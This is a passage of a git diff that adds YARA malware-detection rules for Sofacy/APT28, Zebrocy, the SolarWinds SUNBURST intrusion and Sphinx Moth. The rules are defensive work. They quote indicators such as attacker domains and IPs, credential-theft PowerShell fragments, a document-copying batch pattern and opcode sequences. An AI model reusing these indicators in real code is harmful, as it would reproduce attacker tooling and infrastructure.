--- /dev/null
+++ b/yara-Neo23x0/apt_sofacy_jun16.yar
@@ -0,0 +1,65 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-14
+	Identifier: Sofacy June 2016
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Sofacy_Jun16_Sample1 {
+	meta:
+		description = "Detects Sofacy Malware mentioned in PaloAltoNetworks APT report"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/mzAa97"
+		date = "2016-06-14"
+		score = 85
+		hash1 = "be1cfa10fcf2668ae01b98579b345ebe87dab77b6b1581c368d1aba9fd2f10a0"
+		id = "62b577e3-7ccb-59df-a944-96ffe9b16d3d"
+	strings:
+		$s1 = "clconfg.dll" fullword ascii
+		$s2 = "ASijnoKGszdpodPPiaoaghj8127391" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( 1 of ($s*) ) ) or ( all of them )
+}
+
+rule Sofacy_Jun16_Sample2 {
+	meta:
+		description = "Detects Sofacy Malware mentioned in PaloAltoNetworks APT report"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/mzAa97"
+		date = "2016-06-14"
+		score = 85
+		hash1 = "57d230ddaf92e2d0504e5bb12abf52062114fb8980c5ecc413116b1d6ffedf1b"
+		hash2 = "69940a20ab9abb31a03fcefe6de92a16ed474bbdff3288498851afc12a834261"
+		hash3 = "aeeab3272a2ed2157ebf67f74c00fafc787a2b9bbaa17a03be1e23d4cb273632"
+		id = "21561e13-a190-565e-a08b-e6a07c84c3db"
+	strings:
+		$x1 = "DGMNOEP" fullword ascii
+		$x2 = "/%s%s%s/?%s=" fullword ascii
+
+		$s1 = "Control Panel\\Dehttps=https://%snetwork.proxy.ht2" fullword ascii
+		$s2 = "http=http://%s:%Control Panel\\Denetwork.proxy.ht&ol1mS9" fullword ascii
+		$s3 = "svchost.dll" fullword wide
+		$s4 = "clconfig.dll" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 100KB and ( all of ($x*) ) ) or ( 3 of them )
+}
+
+rule Sofacy_Jun16_Sample3 {
+	meta:
+		description = "Detects Sofacy Malware mentioned in PaloAltoNetworks APT report"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/mzAa97"
+		date = "2016-06-14"
+		score = 85
+		hash1 = "c2551c4e6521ac72982cb952503a2e6f016356e02ee31dea36c713141d4f3785"
+		id = "f97bc840-0d9a-5a9e-9e13-7b7f8acc53a5"
+	strings:
+		$s1 = "ASLIiasiuqpssuqkl713h" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and $s1
+}
diff --git a/yara-Neo23x0/apt_sofacy_oct17_camp.yar b/yara-Neo23x0/apt_sofacy_oct17_camp.yar
new file mode 100644
index 0000000..6bc9d67
--- /dev/null
+++ b/yara-Neo23x0/apt_sofacy_oct17_camp.yar
@@ -0,0 +1,71 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-10-23
+   Identifier: Sofacy Malware
+   Reference: http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule Sofacy_Oct17_1 {
+   meta:
+      description = "Detects Sofacy malware reported in October 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"
+      date = "2017-10-23"
+      hash1 = "522fd9b35323af55113455d823571f71332e53dde988c2eb41395cf6b0c15805"
+      id = "6896dcf3-e422-5a40-bc1e-d1f35ae95c14"
+   strings:
+      $x1 = "%localappdata%\\netwf.dll" fullword wide
+      $x2 = "set path = \"%localappdata%\\netwf.dll\"" fullword ascii
+      $x3 = "%localappdata%\\netwf.bat" fullword wide
+      $x4 = "KlpSvc.dll" fullword ascii
+
+      /* used for generic approach */
+      $g1 = "set path = \"%localappdata%\\" ascii
+      $g2 = "%localappdata%\\" wide
+
+      $s1 = "start rundll32.exe %path %,#1a" fullword ascii
+
+      $s2 = "gshell32" fullword wide
+      $s3 = "s - %lu" fullword ascii
+      $s4 = "be run i" fullword ascii
+      $s5 = "ingToBinhary" fullword ascii
+      $s6 = "%j%Xjs" fullword ascii
+      $s7 = "if NOT exist %path % (exit)" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and (
+         pe.imphash() == "a2d1be6502b4b3c28959a4fb0196ea45" or
+         pe.exports("KlpSvc") or
+         ( 1 of ($x*) or 4 of them ) or
+         ( $s1 and all of ($g*) )
+      )
+}
+
+rule Sofacy_Oct17_2 {
+   meta:
+      description = "Detects Sofacy malware reported in October 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"
+      date = "2017-10-23"
+      hash1 = "ef027405492bc0719437eb58c3d2774cc87845f30c40040bbebbcc09a4e3dd18"
+      id = "c820eab0-9b64-5718-8681-a4f515ee462b"
+   strings:
+      $x1 = "netwf.dll" fullword wide
+
+      $s1 = "%s - %s - %2.2x" fullword wide
+      $s2 = "%s - %lu" fullword ascii
+      $s3 = "%s \"%s\", %s" fullword wide
+      $s4 = "%j%Xjsf" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 90KB and (
+            pe.imphash() == "13344e2a717849489bcd93692f9646f7" or
+            ( 4 of them )
+         )
+      ) or ( all of them )
+}
diff --git a/yara-Neo23x0/apt_sofacy_xtunnel_bundestag.yar b/yara-Neo23x0/apt_sofacy_xtunnel_bundestag.yar
new file mode 100644
index 0000000..a609fad
--- /dev/null
+++ b/yara-Neo23x0/apt_sofacy_xtunnel_bundestag.yar
@@ -0,0 +1,116 @@
+import "pe"
+
+rule apt_sofacy_xtunnel {
+    meta:
+        author = "Claudio Guarnieri"
+        description = "Sofacy Malware - German Bundestag"
+        score = 75
+        id = "aef091b5-cedf-5443-ab61-8b2dbc7e77fd"
+    strings:
+        $xaps = ":\\PROJECT\\XAPS_"
+        $variant11 = "XAPS_OBJECTIVE.dll" $variant12 = "start"
+        $variant21 = "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0"
+        $variant22 = "is you live?"
+        $mix1 = "176.31.112.10"
+        $mix2 = "error in select, errno %d" $mix3 = "no msg"
+        $mix4 = "is you live?"
+        $mix5 = "127.0.0.1"
+        $mix6 = "err %d"
+        $mix7 = "i`m wait"
+        $mix8 = "hello"
+        $mix9 = "OpenSSL 1.0.1e 11 Feb 2013" $mix10 = "Xtunnel.exe"
+    condition:
+        ((uint16(0) == 0x5A4D) or (uint16(0) == 0xCFD0)) and (($xaps) or (all of ($variant1*)) or (all of ($variant2*)) or (6 of ($mix*)))
+}
+
+rule Winexe_RemoteExec {
+   meta:
+      description = "Winexe tool for remote execution (also used by Sofacy group)"
+      author = "Florian Roth (Nextron Systems), Robert Simmons"
+      reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
+      date = "2015-06-19"
+      modified = "2021-02-11"
+      hash1 = "5130f600cd9a9cdc82d4bad938b20cbd2f699aadb76e7f3f1a93602330d9997d"
+      hash2 = "d19dfdbe747e090c5aa2a70cc10d081ac1aa88f360c3f378288a3651632c4429"
+      score = 70
+      id = "5079557a-0461-5b04-b0f2-4265bf7ec041"
+   strings:
+      $s1 = "error Cannot LogonUser(%s,%s,%s) %d" ascii fullword
+      $s2 = "error Cannot ImpersonateNamedPipeClient %d" ascii fullword
+      $s3 = "\\\\.\\pipe\\ahexec" fullword ascii
+      $s4 = "\\\\.\\pipe\\wmcex" fullword ascii
+      $s5 = "implevel" fullword ascii
+   condition:
+   uint16(0) == 0x5a4d and filesize < 115KB and (
+      3 of them or
+      pe.imphash() == "2f8a475933ac82b8e09eaf26b396b54d"
+   )
+}
+
+rule Sofacy_Mal2 {
+    meta:
+        description = "Sofacy Group Malware Sample 2"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
+        date = "2015-06-19"
+        hash = "566ab945f61be016bfd9e83cc1b64f783b9b8deb891e6d504d3442bc8281b092"
+        score = 70
+        id = "1547cc67-7d7c-5ec9-816c-15b7d523376a"
+    strings:
+        $x1 = "PROJECT\\XAPS_OBJECTIVE_DLL\\" ascii
+        $x2 = "XAPS_OBJECTIVE.dll" fullword ascii
+
+        $s1 = "i`m wait" fullword ascii
+    condition:
+        uint16(0) == 0x5a4d and ( 1 of ($x*) ) and $s1
+}
+
+rule Sofacy_Mal3 {
+    meta:
+        description = "Sofacy Group Malware Sample 3"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
+        date = "2015-06-19"
+        modified = "2023-01-06"
+        hash = "5f6b2a0d1d966fc4f1ed292b46240767f4acb06c13512b0061b434ae2a692fa1"
+        score = 70
+        id = "67d002ef-4ed9-54ce-a6ef-49b7f3b951e2"
+    strings:
+        $s1 = "shell\\open\\command=\"System Volume Information\\USBGuard.exe\" install" fullword ascii
+        $s2 = ".?AVAgentModuleRemoteKeyLogger@@" fullword ascii
+        $s3 = "<font size=4 color=red>process isn't exist</font>" fullword ascii
+        $s4 = "<font size=4 color=red>process is exist</font>" fullword ascii
+        $s5 = ".winnt.check-fix.com" ascii
+        $s6 = ".update.adobeincorp.com" ascii
+        $s7 = ".microsoft.checkwinframe.com" ascii
+        $s8 = "adobeincorp.com" fullword wide
+        $s9 = "# EXC: HttpSender - Cannot create Get Channel!" fullword ascii
+
+        $x1 = "User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:20.0) Gecko/20100101 Firefox/" wide
+        $x2 = "User-Agent: Mozilla/5.0 (Windows NT 6.; WOW64; rv:20.0) Gecko/20100101 Firefox/2" wide
+        $x3 = "C:\\Windows\\System32\\cmd.exe" fullword wide
+    condition:
+        uint16(0) == 0x5a4d and filesize < 300KB and (
+            2 of ($s*) or
+            ( 1 of ($s*) and all of ($x*) )
+        )
+}
+
+rule Sofacy_Bundestag_Batch {
+    meta:
+        description = "Sofacy Bundestags APT Batch Script"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
+        date = "2015-06-19"
+        score = 70
+        id = "869dafec-1387-5640-b608-b84cf0d43342"
+    strings:
+        $s1 = "for %%G in (.pdf, .xls, .xlsx, .doc, .docx)" ascii
+        $s2 = "cmd /c copy"
+        $s3 = "forfiles"
+    condition:
+        filesize < 10KB and 2 of them
+}
diff --git a/yara-Neo23x0/apt_sofacy_zebrocy.yar b/yara-Neo23x0/apt_sofacy_zebrocy.yar
new file mode 100644
index 0000000..6047504
--- /dev/null
+++ b/yara-Neo23x0/apt_sofacy_zebrocy.yar
@@ -0,0 +1,22 @@
+rule apt28_win_zebrocy_golang_loader_modified {
+   meta:
+      description = "Detects unpacked modified APT28/Sofacy Zebrocy Golang."
+      author = "@VK_Intel"
+      date = "2018-12-25"
+      reference = "https://www.vkremez.com/2018/12/lets-learn-progression-of-apt28sofacy.html"
+      id = "cce9ba6c-954c-5b13-a058-cdf7895d63fc"
+   strings:
+      // Go build
+      $go = { 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 }
+      $init = { 6d 61 69 6e 2e 69 6e 69 74 }
+      $main = "main" ascii wide fullword
+      $scr_git = {67 69 74 68 75 62 2e 63 6f 6d 2f 6b 62 69 6e 61}
+      $s0 = "os/exec.(*Cmd).Run" fullword ascii
+      $s1 = "net/http.(*http2clientConnReadLoop).processHeaders" fullword ascii
+      $s2 = "os.MkdirAll" fullword ascii
+      $s3 = "os.Getenv" fullword ascii
+      $s4 = "os.Create" fullword ascii
+      $s5 = "io/ioutil.WriteFile" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and $go and $init and all of ($s*) and #main > 10 and #scr_git > 5
+}
diff --git a/yara-Neo23x0/apt_solarwinds_sunburst.yar b/yara-Neo23x0/apt_solarwinds_sunburst.yar
new file mode 100644
index 0000000..cbd8e80
--- /dev/null
+++ b/yara-Neo23x0/apt_solarwinds_sunburst.yar
@@ -0,0 +1,174 @@
+// Copyright 2020 by FireEye, Inc.
+// You may not use this file except in compliance with the license. The license should have been received with this file. You may obtain a copy of the license at:
+// https://github.com/fireeye/sunburst_countermeasures/blob/main/LICENSE.txt
+import "pe"
+
+rule APT_Backdoor_SUNBURST_1
+{
+    meta:
+        author = "FireEye"
+        description = "This rule is looking for portions of the SUNBURST backdoor that are vital to how it functions. The first signature fnv_xor matches a magic byte xor that the sample performs on process, service, and driver names/paths. SUNBURST is a backdoor that has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services."
+        reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
+        date = "2020-12-14"
+        score = 85
+        id = "74b44844-5575-53d7-819b-ab1b2327a144"
+    strings:
+        $cmd_regex_encoded = "U4qpjjbQtUzUTdONrTY2q42pVapRgooABYxQuIZmtUoA" wide
+        $cmd_regex_plain = { 5C 7B 5B 30 2D 39 61 2D 66 2D 5D 7B 33 36 7D 5C 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 33 32 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 31 36 7D }
+        $fake_orion_event_encoded = "U3ItS80rCaksSFWyUvIvyszPU9IBAA==" wide
+        $fake_orion_event_plain = { 22 45 76 65 6E 74 54 79 70 65 22 3A 22 4F 72 69 6F 6E 22 2C }
+        $fake_orion_eventmanager_encoded = "U3ItS80r8UvMTVWyUgKzfRPzEtNTi5R0AA==" wide
+        $fake_orion_eventmanager_plain = { 22 45 76 65 6E 74 4E 61 6D 65 22 3A 22 45 76 65 6E 74 4D 61 6E 61 67 65 72 22 2C }
+        $fake_orion_message_encoded = "U/JNLS5OTE9VslKqNqhVAgA=" wide
+        $fake_orion_message_plain = { 22 4D 65 73 73 61 67 65 22 3A 22 7B 30 7D 22 }
+        $fnv_xor = { 67 19 D8 A7 3B 90 AC 5B }
+    condition:
+        $fnv_xor and ($cmd_regex_encoded or $cmd_regex_plain) or ( ($fake_orion_event_encoded or $fake_orion_event_plain) and ($fake_orion_eventmanager_encoded or $fake_orion_eventmanager_plain) and ($fake_orion_message_encoded and $fake_orion_message_plain) )
+}
+rule APT_Backdoor_SUNBURST_2
+{
+    meta:
+        author = "FireEye"
+        description = "The SUNBURST backdoor uses a domain generation algorithm (DGA) as part of C2 communications. This rule is looking for each branch of the code that checks for which HTTP method is being used. This is in one large conjunction, and all branches are then tied together via disjunction. The grouping is intentionally designed so that if any part of the DGA is re-used in another sample, this signature should match that re-used portion. SUNBURST is a backdoor that has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services."
+        reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
+        date = "2020-12-14"
+        score = 85
+        id = "329071d5-c9c6-5ae1-a514-aea9f4037bac"
+    strings:
+        $a = "0y3Kzy8BAA==" wide
+        $aa = "S8vPKynWL89PS9OvNqjVrTYEYqNa3fLUpDSgTLVxrR5IzggA" wide
+        $ab = "S8vPKynWL89PS9OvNqjVrTYEYqPaauNaPZCYEQA=" wide
+        $ac = "C88sSs1JLS4GAA==" wide
+        $ad = "C/UEAA==" wide
+        $ae = "C89MSU8tKQYA" wide
+        $af = "8wvwBQA=" wide
+        $ag = "cyzIz8nJBwA=" wide
+        $ah = "c87JL03xzc/LLMkvysxLBwA=" wide
+        $ai = "88tPSS0GAA==" wide
+        $aj = "C8vPKc1NLQYA" wide
+        $ak = "88wrSS1KS0xOLQYA" wide
+        $al = "c87PLcjPS80rKQYA" wide
+        $am = "Ky7PLNAvLUjRBwA=" wide
+        $an = "06vIzQEA" wide
+        $b = "0y3NyyxLLSpOzIlPTgQA" wide
+        $c = "001OBAA=" wide
+        $d = "0y0oysxNLKqMT04EAA==" wide
+        $e = "0y3JzE0tLknMLQAA" wide
+        $f = "003PyU9KzAEA" wide
+        $h = "0y1OTS4tSk1OBAA=" wide
+        $i = "K8jO1E8uytGvNqitNqytNqrVA/IA" wide
+        $j = "c8rPSQEA" wide
+        $k = "c8rPSfEsSczJTAYA" wide
+        $l = "c60oKUp0ys9JAQA=" wide
+        $m = "c60oKUp0ys9J8SxJzMlMBgA=" wide
+        $n = "8yxJzMlMBgA=" wide
+        $o = "88lMzygBAA==" wide
+        $p = "88lMzyjxLEnMyUwGAA==" wide
+        $q = "C0pNL81JLAIA" wide
+        $r = "C07NzXTKz0kBAA==" wide
+        $s = "C07NzXTKz0nxLEnMyUwGAA==" wide
+        $t = "yy9IzStOzCsGAA==" wide
+        $u = "y8svyQcA" wide
+        $v = "SytKTU3LzysBAA==" wide
+        $w = "C84vLUpOdc5PSQ0oygcA" wide
+        $x = "C84vLUpODU4tykwLKMoHAA==" wide
+        $y = "C84vLUpO9UjMC07MKwYA" wide
+        $z = "C84vLUpO9UjMC04tykwDAA==" wide
+    condition:
+        ($a and $b and $c and $d and $e and $f and $h and $i) or ($j and $k and $l and $m and $n and $o and $p and $q and $r and $s and ($aa or $ab)) or ($t and $u and $v and $w and $x and $y and $z and ($aa or $ab)) or ($ac and $ad and $ae and $af and $ag and $ah and ($am or $an)) or ($ai and $aj and $ak and $al and ($am or $an))
+}
+rule APT_Webshell_SUPERNOVA_1
+{
+    meta:
+        author = "FireEye"
+        description = "SUPERNOVA is a .NET web shell backdoor masquerading as a legitimate SolarWinds web service handler. SUPERNOVA inspects and responds to HTTP requests with the appropriate HTTP query strings, Cookies, and/or HTML form values (e.g. named codes, class, method, and args). This rule is looking for specific strings and attributes related to SUPERNOVA."
+        reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
+        date = "2020-12-14"
+        score = 85
+        id = "73a27fa2-a846-5f4b-8182-064ac06c71a8"
+    strings:
+        $compile1 = "CompileAssemblyFromSource"
+        $compile2 = "CreateCompiler"
+        $context = "ProcessRequest"
+        $httpmodule = "IHttpHandler" ascii
+        $string1 = "clazz"
+        $string2 = "//NetPerfMon//images//NoLogo.gif" wide
+        $string3 = "SolarWinds" ascii nocase wide
+    condition:
+        uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550 and filesize < 10KB and pe.imports("mscoree.dll","_CorDllMain") and $httpmodule and $context and all of ($compile*) and all of ($string*)
+}
+rule APT_Webshell_SUPERNOVA_2
+{
+    meta:
+        author = "FireEye"
+        description = "This rule is looking for specific strings related to SUPERNOVA. SUPERNOVA is a .NET web shell backdoor masquerading as a legitimate SolarWinds web service handler. SUPERNOVA inspects and responds to HTTP requests with the appropriate HTTP query strings, Cookies, and/or HTML form values (e.g. named codes, class, method, and args)."
+        reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
+        date = "2020-12-14"
+        score = 85
+        id = "c39bf9ba-fd62-5619-92b6-1633375ef197"
+    strings:
+        $dynamic = "DynamicRun"
+        $solar = "Solarwinds" nocase
+        $string1 = "codes"
+        $string2 = "clazz"
+        $string3 = "method"
+        $string4 = "args"
+    condition:
+        uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550 and filesize < 10KB and 3 of ($string*) and $dynamic and $solar
+}
+rule APT_HackTool_PS1_COSMICGALE_1
+{
+    meta:
+        author = "FireEye"
+        description = "This rule detects various unique strings related to COSMICGALE. COSMICGALE is a credential theft and reconnaissance PowerShell script that collects credentials using the publicly available Get-PassHashes routine. COSMICGALE clears log files, writes acquired data to a hard coded path, and encrypts the file with a password."
+        reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
+        date = "2020-12-14"
+        score = 85
+        id = "c094943c-288e-5835-8066-8e95a992c76c"
+    strings:
+        $sr1 = /\[byte\[\]\]@\([\x09\x20]{0,32}0xaa[\x09\x20]{0,32},[\x09\x20]{0,32}0xd3[\x09\x20]{0,32},[\x09\x20]{0,32}0xb4[\x09\x20]{0,32},[\x09\x20]{0,32}0x35[\x09\x20]{0,32},/ ascii nocase wide
+        $sr2 = /\[bitconverter\]::toint32\(\$\w{1,64}\[0x0c..0x0f\][\x09\x20]{0,32},[\x09\x20]{0,32}0\)[\x09\x20]{0,32}\+[\x09\x20]{0,32}0xcc\x3b/ ascii nocase wide
+        $sr3 = /\[byte\[\]\]\(\$\w{1,64}\.padright\(\d{1,2}\)\.substring\([\x09\x20]{0,32}0[\x09\x20]{0,32},[\x09\x20]{0,32}\d{1,2}\)\.tochararray\(\)\)/ ascii nocase wide
+        $ss1 = "[text.encoding]::ascii.getbytes(\"ntpassword\x600\");" ascii nocase wide
+        $ss2 = "system\\currentcontrolset\\control\\lsa\\$_" ascii nocase wide
+        $ss3 = "[security.cryptography.md5]::create()" ascii nocase wide
+        $ss4 = "[system.security.principal.windowsidentity]::getcurrent().name" ascii nocase wide
+        $ss5 = "out-file" ascii nocase wide
+        $ss6 = "convertto-securestring" ascii nocase wide
+    condition:
+        all of them
+}
+rule APT_Dropper_Raw64_TEARDROP_1
+{
+    meta:
+        author = "FireEye"
+        description = "This rule looks for portions of the TEARDROP backdoor that are vital to how it functions. TEARDROP is a memory only dropper that can read files and registry keys, XOR decode an embedded payload, and load the payload into memory. TEARDROP persists as a Windows service and has been observed dropping Cobalt Strike BEACON into memory."
+        reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
+        date = "2020-12-14"
+        score = 85
+        id = "88adad58-ba16-5996-9ea8-ea356c3ed5b2"
+    strings:
+        $sb1 = { C7 44 24 ?? 80 00 00 00 [0-64] BA 00 00 00 80 [0-32] 48 8D 0D [4-32] FF 15 [4] 48 83 F8 FF [2-64] 41 B8 40 00 00 00 [0-64] FF 15 [4-5] 85 C0 7? ?? 80 3D [4] FF }
+        $sb2 = { 80 3D [4] D8 [2-32] 41 B8 04 00 00 00 [0-32] C7 44 24 ?? 4A 46 49 46 [0-32] E8 [4-5] 85 C0 [2-32] C6 05 [4] 6A C6 05 [4] 70 C6 05 [4] 65 C6 05 [4] 67 }
+        $sb3 = { BA [4] 48 89 ?? E8 [4] 41 B8 [4] 48 89 ?? 48 89 ?? E8 [4] 85 C0 7? [1-32] 8B 44 24 ?? 48 8B ?? 24 [1-16] 48 01 C8 [0-32] FF D0 }
+    condition:
+        all of them
+}
+rule APT_Dropper_Win64_TEARDROP_1
+{
+    meta:
+        author = "FireEye"
+        description = "This rule is intended match specific sequences of opcode found within TEARDROP, including those that decode the embedded payload. TEARDROP is a memory only dropper that can read files and registry keys, XOR decode an embedded payload, and load the payload into memory. TEARDROP persists as a Windows service and has been observed dropping Cobalt Strike BEACON into memory. (comment by Nextron: prone to False Positives)"
+        reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
+        date = "2020-12-14"
+        score = 70
+        id = "15dfdb74-5ca3-5bc6-be7a-730333b03ba5"
+    strings:
+        $loc_4218FE24A5 = { 48 89 C8 45 0F B6 4C 0A 30 }
+        $loc_4218FE36CA = { 48 C1 E0 04 83 C3 01 48 01 E8 8B 48 28 8B 50 30 44 8B 40 2C 48 01 F1 4C 01 FA }
+        $loc_4218FE2747 = { C6 05 ?? ?? ?? ?? 6A C6 05 ?? ?? ?? ?? 70 C6 05 ?? ?? ?? ?? 65 C6 05 ?? ?? ?? ?? 67 }
+        $loc_5551D725A0 = { 48 89 C8 45 0F B6 4C 0A 30 48 89 CE 44 89 CF 48 F7 E3 48 C1 EA 05 48 8D 04 92 48 8D 04 42 48 C1 E0 04 48 29 C6 }
+        $loc_5551D726F6 = { 53 4F 46 54 57 41 52 45 ?? ?? ?? ?? 66 74 5C 43 ?? ?? ?? ?? 00 }
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
diff --git a/yara-Neo23x0/apt_solarwinds_susp_sunburst.yar b/yara-Neo23x0/apt_solarwinds_susp_sunburst.yar
new file mode 100644
index 0000000..bb3d466
--- /dev/null
+++ b/yara-Neo23x0/apt_solarwinds_susp_sunburst.yar
@@ -0,0 +1,32 @@
+/*
+import "pe"
+
+rule SUSP_Solarwinds_SUNBURST_Revoked_Cert {
+   meta:
+      description = "Detects executables signed with a compromised certificate after 2019 (it doesn't mean that the "
+      date = "2020-12-14"
+      reference = "https://github.com/fireeye/sunburst_countermeasures/pull/3#issuecomment-747156202"
+      score = 50
+   condition:
+      uint16(0) == 0x5a4d and
+      for any i in (0 .. pe.number_of_signatures) : (
+         pe.signatures[i].issuer contains "Symantec Class 3 SHA256 Code Signing CA" and
+         pe.signatures[i].serial == "0f:e9:73:75:20:22:a6:06:ad:f2:a3:6e:34:5d:c0:ed" and
+         // valid after Tuesday, January 1, 2019 0:00:00
+         pe.signatures[i].not_before > 1546300800
+      )
+}
+*/
+
+rule LOG_APT_WEBSHELL_Solarwinds_SUNBURST_Report_Webshell_Dec20_2 {
+   meta:
+      description = "Detects webshell access mentioned in FireEye's SUNBURST report"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/"
+      date = "2020-12-21"
+      id = "fb86164d-13de-5357-8f52-c597b51127ff"
+   strings:
+      $xr1 = /logoimagehandler.ashx[^\n\s]{1,400}clazz=/ ascii wide
+   condition:
+      $xr1
+}
diff --git a/yara-Neo23x0/apt_sphinx_moth.yar b/yara-Neo23x0/apt_sphinx_moth.yar
new file mode 100644
index 0000000..f419d49
--- /dev/null
+++ b/yara-Neo23x0/apt_sphinx_moth.yar
@@ -0,0 +1,120 @@
+/*
+    Yara Rule Set
+    Author: Kudelski Security (modified by Florian Roth)
+    Reference: https://www.kudelskisecurity.com/sites/default/files/sphinx_moth_cfc_report.pdf
+    Date: 2015-11-23
+    Identifier: Sphinx Moth
+*/
+
+rule Sphinx_Moth_cudacrt { 
+    meta:
+        description = "sphinx moth threat group file cudacrt.dll" 
+        author = "Kudelski Security - Nagravision SA"
+        reference = "www.kudelskisecurity.com"
+        date = "2015-08-06"
+        id = "233f657b-029a-5ed4-b2f7-712851297f18"
+    strings:
+        $s0 = "HPSSOEx.dll" fullword wide
+        $s1 = "255.255.255.254" fullword wide
+        $s2 = "SOFTWARE\\SsoAuth\\Service" fullword wide
+
+        $op0 = { ff 15 5f de 00 00 48 8b f8 48 85 c0 75 0d 48 8b } /* Opcode */ 
+        $op1 = { 45 33 c9 4c 8d 05 a7 07 00 00 33 d2 33 c9 ff 15 } /* Opcode */ 
+        $op2 = { e8 7a 1c 00 00 83 f8 01 74 17 b9 03 } /* Opcode */
+    condition:
+        uint16(0) == 0x5a4d and filesize < 243KB and all of ($s*) and 1 of ($op*)
+}
+
+rule Sphinx_Moth_h2t { 
+    meta:
+        description = "sphinx moth threat group file h2t.dat" 
+        author = "Kudelski Security - Nagravision SA (modified by Florian Roth)" 
+        reference = "www.kudelskisecurity.com"
+        date = "2015-08-06"
+        id = "62d14efd-7d0b-5f66-9e78-74f3f9e2fd5b"
+    strings:
+        $x1 = "%s <proxy ip> <proxy port> <target ip> <target port> <cmd> [arg1 cmd] ... [argX cmd]" fullword ascii 
+        
+        $s1 = "[-] Error in connection() %d - %s" fullword ascii
+        $s2 = "[-] Child process exit." fullword ascii
+        $s3 = "POST http://%s:%s/ HTTP/1.1" fullword ascii
+        $s4 = "pipe() to" fullword ascii
+        $s5 = "pipe() from" fullword ascii
+    condition:
+        uint16(0) == 0x5a4d and filesize < 156KB and ($x1 or all of ($s*))
+}
+
+rule Sphinx_Moth_iastor32 { 
+    meta:
+        description = "sphinx moth threat group file iastor32.exe" 
+        author = "Kudelski Security - Nagravision SA"
+        reference = "www.kudelskisecurity.com"
+        date = "2015-08-06"
+        id = "5688c598-ea18-578f-bb8a-3729c0502af5"
+    strings:
+        $s0 = "MIIEpQIBAAKCAQEA4lSvv/W1Mkz38Q3z+EzJBZRANzKrlxeE6/UXWL67YtokF2nN" fullword ascii /* private key */
+        $s1 = "iAeS3CCA4wli6+9CIgX8SAiXd5OezHvI1jza61z/flsqcC1IP//gJVt16nRx3s9z" fullword ascii /* private key */
+    condition:
+        uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule Sphinx_Moth_kerberos32 {
+    meta:
+        description = "sphinx moth threat group file kerberos32.dll" 
+        author = "Kudelski Security - Nagravision SA (modified by Florian Roth)"
+        reference = "www.kudelskisecurity.com"
+        date = "2015-08-06"
+        id = "769ee362-2363-511a-8f17-99e66c9bab53"
+    strings:
